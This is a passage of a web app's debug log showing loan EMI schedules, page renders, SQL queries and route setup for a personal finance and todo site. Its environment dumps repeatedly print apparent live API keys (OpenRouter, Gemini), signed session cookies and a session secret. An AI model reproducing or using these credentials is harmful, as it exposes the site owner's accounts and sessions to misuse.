    due_date: '2029-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 591,
    loan_id: 29,
    due_date: '2029-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 592,
    loan_id: 29,
    due_date: '2029-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 593,
    loan_id: 29,
    due_date: '2029-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 594,
    loan_id: 29,
    due_date: '2029-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 595,
    loan_id: 29,
    due_date: '2029-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 596,
    loan_id: 29,
    due_date: '2029-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 597,
    loan_id: 29,
    due_date: '2029-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 598,
    loan_id: 29,
    due_date: '2029-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 599,
    loan_id: 29,
    due_date: '2029-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 600,
    loan_id: 29,
    due_date: '2029-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 601,
    loan_id: 29,
    due_date: '2029-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 602,
    loan_id: 29,
    due_date: '2030-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 603,
    loan_id: 29,
    due_date: '2030-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 604,
    loan_id: 29,
    due_date: '2030-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 605,
    loan_id: 29,
    due_date: '2030-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 606,
    loan_id: 29,
    due_date: '2030-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 607,
    loan_id: 29,
    due_date: '2030-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 608,
    loan_id: 29,
    due_date: '2030-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 609,
    loan_id: 29,
    due_date: '2030-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 610,
    loan_id: 29,
    due_date: '2030-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 611,
    loan_id: 29,
    due_date: '2030-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 612,
    loan_id: 29,
    due_date: '2030-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 613,
    loan_id: 29,
    due_date: '2030-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 614,
    loan_id: 29,
    due_date: '2031-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 615,
    loan_id: 29,
    due_date: '2031-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 616,
    loan_id: 29,
    due_date: '2031-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  }
]
2026-06-29T05:32:58.084Z server-connect:router Serving templateView /credit-cards
2026-06-29T05:32:58.085Z server-connect:app Executing action step identify
2026-06-29T05:32:58.085Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:58.085Z server-connect:output identity: 1
2026-06-29T05:32:58.085Z server-connect:app Executing action step restrict
2026-06-29T05:32:58.085Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:32:58.086Z server-connect:output restrict: undefined
2026-06-29T05:32:58.086Z server-connect:router Render template credit-cards
2026-06-29T05:32:58.086Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/credit-cards',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/credit-cards',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-29T05:33:10.639Z server-connect:router Serving templateView /goal
2026-06-29T05:33:10.639Z server-connect:app Executing action step identify
2026-06-29T05:33:10.639Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:10.639Z server-connect:output identity: 1
2026-06-29T05:33:10.639Z server-connect:app Executing action step restrict
2026-06-29T05:33:10.639Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:33:10.640Z server-connect:output restrict: undefined
2026-06-29T05:33:10.640Z server-connect:router Render template goal
2026-06-29T05:33:10.640Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-29T05:33:10.908Z server-connect:router Serving serverConnect /api/goals/list
2026-06-29T05:33:10.909Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-06-29T05:33:10.910Z server-connect:app Executing action step identify
2026-06-29T05:33:10.910Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:10.910Z server-connect:output identity: 1
2026-06-29T05:33:10.910Z server-connect:app Executing action step restrict
2026-06-29T05:33:10.910Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:10.910Z server-connect:output restrict: undefined
2026-06-29T05:33:10.911Z server-connect:app Executing action step custom
2026-06-29T05:33:10.911Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-06-29T05:33:10.912Z server-connect:app Executing action step identify
2026-06-29T05:33:10.912Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:10.912Z server-connect:output identity: 1
2026-06-29T05:33:10.912Z server-connect:app Executing action step restrict
2026-06-29T05:33:10.912Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:10.914Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  }
]
2026-06-29T05:33:10.915Z server-connect:output restrict: undefined
2026-06-29T05:33:10.915Z server-connect:app Executing action step paged
2026-06-29T05:33:10.915Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-06-29T05:33:10.919Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-06-29T05:33:14.904Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-29T05:33:15.091Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-29T05:33:15.167Z server-connect:setup:upload Upload middleware configured.
2026-06-29T05:33:15.167Z server-connect:secure CSRF Protection initialized
2026-06-29T05:33:15.169Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-29T05:33:15.176Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-29T05:33:15.177Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-29T05:33:15.177Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-29T05:33:15.178Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-29T05:33:15.178Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-29T05:33:15.179Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-29T05:33:15.180Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-29T05:33:15.183Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-29T05:33:15.183Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-29T05:33:15.183Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-29T05:33:15.184Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-29T05:33:15.184Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-29T05:33:15.185Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-29T05:33:15.185Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-29T05:33:15.185Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-29T05:33:15.185Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-29T05:33:15.186Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-29T05:33:15.186Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-29T05:33:15.186Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-29T05:33:15.187Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-29T05:33:15.187Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-29T05:33:15.187Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-29T05:33:15.188Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-29T05:33:15.188Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-29T05:33:15.188Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-29T05:33:15.188Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-29T05:33:15.188Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-29T05:33:15.189Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-29T05:33:15.189Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-29T05:33:15.189Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-29T05:33:15.189Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-29T05:33:15.189Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-29T05:33:15.190Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-29T05:33:15.190Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-29T05:33:15.190Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-29T05:33:15.190Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-29T05:33:15.190Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-29T05:33:15.311Z server-connect:router Serving templateView /todo
2026-06-29T05:33:15.314Z server-connect:app Executing action step identify
2026-06-29T05:33:15.314Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:15.316Z server-connect:output identity: 1
2026-06-29T05:33:15.316Z server-connect:app Executing action step restrict
2026-06-29T05:33:15.316Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:33:15.318Z server-connect:output restrict: undefined
2026-06-29T05:33:15.318Z server-connect:router Render template todo
2026-06-29T05:33:15.319Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
